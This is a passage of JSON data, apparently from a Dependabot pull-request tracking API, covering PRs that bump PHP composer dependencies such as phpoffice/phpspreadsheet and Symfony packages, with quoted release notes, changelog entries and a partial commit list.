view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.30.0\u0026new-version=1.30.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/grueneschweiz/2018.gruene.ch/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/grueneschweiz/2018.gruene.ch/pull/262","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/grueneschweiz%2F2018.gruene.ch/issues/262","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/262/packages"},{"uuid":"4346744692","node_id":"PR_kwDORNs4gM7WhFvD","number":27,"state":"open","title":"Bump the composer group across 1 directory with 6 updates","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T22:53:44.000Z","updated_at":"2026-04-28T22:53:55.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"composer","update_count":6,"packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.0.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"name":"google/protobuf","old_version":"4.31.1","new_version":"4.33.6","repository_url":"https://github.com/protocolbuffers/protobuf-php"},{"name":"league/commonmark","old_version":"2.7.0","new_version":"2.8.2","repository_url":"https://github.com/thephpleague/commonmark"},{"name":"psy/psysh","old_version":"0.12.8","new_version":"0.12.22","repository_url":"https://github.com/bobthecow/psysh"},{"name":"symfony/http-foundation","old_version":"7.3.0","new_version":"7.4.8","repository_url":"https://github.com/symfony/http-foundation"},{"name":"symfony/process","old_version":"7.3.0","new_version":"7.4.8","repository_url":"https://github.com/symfony/process"}],"path":null,"ecosystem":"packagist"},"body":"Bumps the composer group with 6 updates in the /Wber directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) | `5.0.0` | `5.7.0` |\n| [google/protobuf](https://github.com/protocolbuffers/protobuf-php) | `4.31.1` | `4.33.6` |\n| [league/commonmark](https://github.com/thephpleague/commonmark) | `2.7.0` | `2.8.2` |\n| [psy/psysh](https://github.com/bobthecow/psysh) | `0.12.8` | `0.12.22` |\n| [symfony/http-foundation](https://github.com/symfony/http-foundation) | `7.3.0` | `7.4.8` |\n| [symfony/process](https://github.com/symfony/process) | `7.3.0` | `7.4.8` |\n\n\nUpdates `phpoffice/phpspreadsheet` from 5.0.0 to 5.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New 